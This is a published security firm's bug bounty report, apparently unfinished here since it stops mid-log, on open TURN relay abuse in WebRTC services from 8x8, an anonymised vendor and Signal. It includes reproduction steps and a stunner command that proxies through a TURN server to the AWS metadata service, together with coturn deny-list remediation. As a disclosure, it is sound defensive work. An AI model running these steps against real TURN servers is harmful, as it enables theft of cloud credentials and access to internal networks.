Penetration Test Report (Enable Security): bug bounty bout webrtc edition

ConfidentialDocument
Bug bounty bout 0x01 -
WebRTC edition
Technical Report
Preparedby: SandroGauci,SeniorConsultantandDirector,EnableSecurityGmbH
Preparedfor: Generalpublic
Date: 16Jun2020
ENABLESECURITY • EnableSecurityGmbHNeuburgerStraße101b,94036Passau,Germany
[PII_REDACTED]664 • contact@enablesecurity.com • enablesecurity.com
Contents
1. Changelog 3
2. Introduction 4
2.1. PurposeandLimitations ....................................................................... 4
2.2. Scope ....................................................................................... 4
3. Findingsandrecommendations 5
3.1. OpenTURNrelayabuseaffectsmultiplevendorsandproductsduetolackofpeeraccesscontrol(Critical)
5
3.2. OutdatedCoturnisvulnerabletoknownsecurityissues(High) ...................................... 9
3.3. DefaultXMPPadministrativeaccountsleadingtoDoSandpotentially,spyingonvideocalls,RCE(Critical) 12
4. Conclusion 15
5. Appendix 16
5.1. Severityleveldefinition ........................................................................ 16
5.2. Toolsused ................................................................................... 16
5.3. Methodology ................................................................................. 17
2 Bugbountybout0x01-WebRTCedition
1. Changelog
▶ 2020-04-23:workconcluded,internalreportsproduced
▶ 2020-06-16:reportanonymizedwhereneededforpublication
3 Bugbountybout0x01-WebRTCedition
2. Introduction
ThebugbountyboutwasperformedbySandroGauci,AlfredFarrugiaandPinakiMondalofEnableSecurity
onthetargetsduringApril2020.Initially,thetesterstookatargetedapproachintermsofmethodologybut
towardstheend,theopportunisticpathwasfoundtogivebetterresultsforthewiderangeoftargets
consideredduringthetimeallocated.Testsweredoneremotely,andinvariouscases,reproducedinlab
environmentwithaspecialfocusonmanualsecuritytesting.Ablack-boxmethodologywasused,but
sourcecodeforopensourceapplicationswasconsultedwherepossible.
2.1 PurposeandLimitations
ThepurposeofthisexercisewastoidentifysecurityflawswithinWebRTCsystemsthatwereinscopefor
bugbountiesandvulnerabilitydisclosureprograms.
Denialofserviceattacksweregenerallyoutsidethescopeofthisexerciseandwerethereforeavoided.
Specialcautionwasappliedwherenecessary.
2.2 Scope
ThelistoftargetsthatofferbugbountiesintheRTCspacecanbefoundinternallyatEnableSecurity.
4 Bugbountybout0x01-WebRTCedition
3. Findingsandrecommendations
Thisisthemainsectionofthereportwhichlistsindividualsecurityvulnerabilities.Pleasekeepinmindthat
eachvendormighthavebeenaffectedbymorethanonevulnerability.
RefertotheAppendixfortheseverityleveldefinition.
Notethatoneofthevendorstowhichwereportedvulnerabilitiesdidnotallowanydisclosureandtherefore
wereplaceditsnamewithVendorX.Wealsoreplacedthehostnamesinthisthereportwhererequired.
VendorXisamajorproviderintheCPaaS(CommunicationsPlatformasaService)business.
3.1 Open TURN relay abuse affects multiple vendors and products due to lack of peer access control
(Critical)
▶ Affects:
▶ 8x8,Jitsi-based-platformA
▶ 8x8,Jitsi-based-platformB
▶ VendorX,platformA
▶ VendorX,platformB
▶ SignalMessengerTURNserver(severityappearstobenegligible)
3.1.1 Description
TheaffectedTURNserversdidnotputanyrestrictionsonpeerwhichallowsremoteattackerstobypass
firewallrulesandreachinternalservicessuchastheAWSinternalnetwork.
TheTURNserversatVendorX,platformAandplatformBaswellasSignal’sTURNserverappearedtoallow
relayingtobothTCPandUDPpeers.
Inthecaseof8x8,platformA,bothTCPandUDPpeerscouldbespecified,whileplatformBappearedto
restrictTCPandonlyallowUDP.
Fulldetailsofhowthisvulnerabilityhadaffectedaseparatevendor,Slack,inthepast,waspublishedonour
blog1.
1 https://www.rtcsec.com/2020/04/01-slack-webrtc-turn-compromise/
5 Bugbountybout0x01-WebRTCedition
Theindividualreportfor8x8wasdisclosedonHackerOne:
▶ OpenTURNrelayabuseispossibleduetolackofpeeraccesscontrol(Critical)1
NotethatinthecaseofSignalMessenger,basedonSignal’sownassessment,thisvulnerabilitydoesnot
appeartobecritical.
3.1.2 Impact
Abuseofthisvulnerabilityallowsattackersto:
▶ controlCoturnbyconnectingtothetelnetserveronport5766;allowswritingoffilesondisk
(e.g.usingpsdcommand),displayandeditingofthecoturnconfiguration,stoppingtheserver
(appliedtosomeoftheaffectedvendorsbutnotall)
▶ connectingtotheAWSmeta-dataserviceandretrievingIAMcredentialsforuserec2-instance,
viewinguser-dataconfigurationetc
▶ scanning127.0.0.1andinternalnetworkon10.0.0.0/24(etc)andconnectingtointernal
services
Wethinkthatitislikelythatabuseofthecoturntelnetservercouldleadtoremotecodeexecutiononthe
serverandfurtherpenetrationinsidesomeoftheaffectedvendor’sinfrastructure.
3.1.3 Howtoreproducetheissue
1. RetrievedtemporaryTURNcredentialsforeachaffectedvendorby:
▶ makinguseofChrome’sdevtools
▶ openthenetworktab,filteringjustWSconnections
▶ performvendor-specificstepspecific
▶ observetheTURNhostnameandcredentials
2. Madeuseofaninternaltoolcalledstunnerasfollows:stunner recon tls://target:443 -u
tmpuser:tmppasswd
3. Madeuseofstunner’sportscannerandsocksproxytoreachthetelnetserver,AWSmeta-dataservice
andsoon.
InthecaseofSignal,thefirststepinvolvedretrievingtheuserauthenticationtokenthenretrievingtheTURN
credentialsfromtherelevantendpoint.
Notethatwerestrictedourteststojustthefollowingtoavoidcausingdenialofservicetothesystem:
▶ ReadaccesstoAWSmeta-dataservice
▶ Onlyrunninghelpandpccommandsoncoturntelnetserver(othercommandsmaybedestructive)
1 https://hackerone.com/reports/843256
6 Bugbountybout0x01-WebRTCedition
ThefollowingisanexcerptfromtheconnectiontotheAWSmetaservice:
printf "GET / HTTP/1.1\r\n\r\n" | stunner turn peer proxy \
payload tcp://target:80 \
-u\"tmpuser\":\"tmppasswd\" \
--peer 169.254.169.254:80
INFO[2020-04-14 15:04:45] Starting TURN peer proxy
INFO[2020-04-14 15:04:45] recv: HTTP/1.1 200 OK
Content-Type: text/plain
Accept-Ranges: none
Last-Modified: Tue, 14 Apr 2020 12:55:43 GMT
Content-Length: 241
Date: Tue, 14 Apr 2020 13:04:45 GMT
Server: EC2ws
Connection: close
1.0
2007-01-19
2007-03-01
2007-08-29
2007-10-10
2007-12-15
2008-02-01
2008-09-01
2009-04-04
2011-01-01
2011-05-01
2012-01-12
2014-02-25
2014-11-05
2015-10-20
2016-04-19
2016-06-30
2016-09-02
2018-03-28
2018-08-17
2018-09-24
2019-10-01
latest
3.1.4 Solutionsandrecommendations
OurrecommendationistoapplyaconfigurationthatdeniesinternalIPaddressesfrombeingreachable.
Anexampleconfigurationforcoturnwouldbethefollowing:
no-multicast-peers
denied-peer-ip=0.0.0.0-0.255.255.255
denied-peer-ip=10.0.0.0-10.255.255.255
denied-peer-ip=100.64.0.0-100.127.255.255
denied-peer-ip=127.0.0.0-127.255.255.255
denied-peer-ip=169.254.0.0-169.254.255.255
denied-peer-ip=127.0.0.0-127.255.255.255
denied-peer-ip=172.16.0.0-172.31.255.255
7 Bugbountybout0x01-WebRTCedition
denied-peer-ip=192.0.0.0-192.0.0.255
denied-peer-ip=192.0.2.0-192.0.2.255
denied-peer-ip=192.88.99.0-192.88.99.255
denied-peer-ip=192.168.0.0-192.168.255.255
denied-peer-ip=198.18.0.0-198.19.255.255
denied-peer-ip=198.51.100.0-198.51.100.255
denied-peer-ip=203.0.113.0-203.0.113.255
denied-peer-ip=240.0.0.0-255.255.255.255
Insomeolderversions,youmightalsowanttousetheno-loopback-peersoption.
3.1.5 Retestresults
Ineachcase,thisissuewasretestedinApril2020byattemptingtorunthesametestwithstunneragain
andobservingthatoutputsimilartothefollowing:
INFO[2020-04-09 08:47:38] CREATEPERMISSION allowed peers over udp: 8.8.8.8:80
INFO[2020-04-09 08:47:38] CREATEPERMISSION forbidden peers over udp: 169.254.169.254:80,
127.0.0.1:80, 0.0.0.0:80, 10.0.0.1:80, 100.64.0.0:80, 169.254.0.1:80, 192.0.0.1:80,
192.0.2.1:80, 192.168.0.1:80, 198.18.0.1:80, 198.51.100.1:80, 224.0.0.1:80, 240.0.0.1:80,
255.255.255.255:80
INFO[2020-04-09 08:47:38] CHANNELBIND allowed peers over udp: 8.8.8.8:80
INFO[2020-04-09 08:47:38] CHANNELBIND forbidden peers over udp: 169.254.169.254:80,
127.0.0.1:80, 0.0.0.0:80, 10.0.0.1:80, 100.64.0.0:80, 169.254.0.1:80, 192.0.0.1:80,
192.88.99.1:80, 192.168.0.1:80, 198.18.0.1:80, 198.51.100.1:80, 203.0.113.1:80,
224.0.0.1:80, 240.0.0.1:80, 255.255.255.255:80
INFO[2020-04-09 08:47:38] CREATEPERMISSION